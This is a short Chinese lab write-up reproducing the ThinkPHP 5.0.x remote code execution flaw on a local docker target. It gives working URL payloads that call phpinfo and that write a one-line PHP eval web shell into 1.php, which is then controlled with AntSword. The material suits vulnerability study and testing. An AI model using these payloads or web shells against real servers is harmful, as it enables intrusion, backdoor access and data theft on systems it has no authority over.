一、漏洞原理
在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
二、影响版本
ThinkPHP5:
5.0.x~5.0.23;
三、漏洞复现
1.运行此靶场
sudo docker-compose up -d
2.查看启动环境
sudo docker ps
3.访问网页寻找漏洞
payload参数
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
参数解释:
http://192.168.10.129:8080/index.php: 这是指向你的服务器的地址,其中192.168.10.129是服务器的IP地址,8080是端口号,而index.php是入口文件。
?s=/Index/\think\app/invokefunction&function=call_user_func_array: 这是URL中的查询字符串部分,它包含了要执行的路由和参数。
s=/Index/\think\app/invokefunction: 这部分似乎是在尝试调用ThinkPHP的某个内部方法或路由。/think\app/invokefunction可能是一个试图调用invokefunction方法的路径。
function=call_user_func_array: 这部分是指定要执行的函数,即call_user_func_array。call_user_func_array是PHP中的一个函数,它允许你调用一个用户定义的函数,并为其传递一个参数数组。
结合这两部分,这个URL似乎是在尝试通过ThinkPHP的某个功能或漏洞来远程执行任意的PHP代码
写入一句话木马到1.php文件
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>1.php
蚁剑连接
可以访问root权限的文件
4.关闭此靶场环境
sudo docker-compose down